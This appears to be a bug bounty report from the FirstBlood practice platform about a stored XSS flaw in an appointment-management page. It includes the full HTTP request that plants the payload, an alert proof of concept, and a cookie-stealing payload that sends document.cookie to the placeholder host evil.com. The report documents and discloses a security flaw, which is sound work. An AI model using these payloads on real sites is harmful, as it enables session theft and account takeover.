FirstBlood-#527Stored XSS on /manageappointment.php
This issue was discovered on FirstBlood v2.0.0 (issues patched)



On 2021-10-26, 0x1452 Level 3 reported:

Hey!

The HTML source on a successful request to manageappointment.php contains the following code:

<script>
    var msg = ':msg';
    $(document).ready(function () {
        document.getElementById("message").value = msg;
    });
</script>

The message parameter of the appointment is reflected in the msg variable. Because single quotes aren't being encoded, an attacker can escape the string context and inject arbitrary JavaScript.

To exploit this you first need to book an appointment with the XSS payload as the message parameter:

POST /api/ba.php HTTP/1.1
Host: b6a5124dc2a4-0x1452.a.firstbloodhackers.com
Cookie: doctorAuthed=eyJkb2N0b3JBdXRoIjphdXRoZWR9; drps=10f43143cf094d9363fc08ee7
Content-Length: 165
Sec-Ch-Ua: "Google Chrome";v="95", "Chromium";v="95", ";Not A Brand";v="99"
Csrf: 99215d4e-0ff3-4275
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://b6a5124dc2a4-0x1452.a.firstbloodhackers.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://b6a5124dc2a4-0x1452.a.firstbloodhackers.com/book-appointment.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

fname=yo&lname=yo&address=yo&city=yo&phonenumber=yo&email=yo&dob=yo&a1=yo&a2=yo&a3=yo&message=';+alert(document.domain);//&slot=1

The response will contain the ID of the appointment, which we'll need for the next step, e.g. success|a53dafc5-4fbc-497c-b5d7-a0f35371e9b7.

Navigate to /manageappointment.php?success&aptid=a53dafc5-4fbc-497c-b5d7-a0f35371e9b7 to trigger the XSS. The payload ';+alert(document.domain);// gets reflected without sanitization resulting in the following code:

<script>
    var msg = ''; alert(document.domain);//';
    $(document).ready(function () {
        document.getElementById("message").value = msg;
    });
</script>

To steal the victim's session cookie, simply use the XSS to fetch an attacker-controlled site and append document.cookie. Example: ';+fetch('//evil.com?c='%2bdocument.cookie);// as a message parameter.

Impact

An attacker can book a malicious appointment and use it to steal victim's session cookies and take over their account.

P2 High

Endpoint: /api/ba.php

Parameter: message

Payload: ';+fetch('//evil.com?c='%2bdocument.cookie);//


FirstBlood ID: 22
Vulnerability Type: Stored XSS

Whilst an attempt was made to fix the stored XSS vulnerability in managing an appointment, it actually introduced new issues such as when creating and editing and not just when cancelling the appointment. Making use of htmlentities() and relying on .value() in javascript to encode certain characters does not prevent XSS overall. The 'fix' to this issue also results in it being vulnerable to admins on cancelled appointments as well.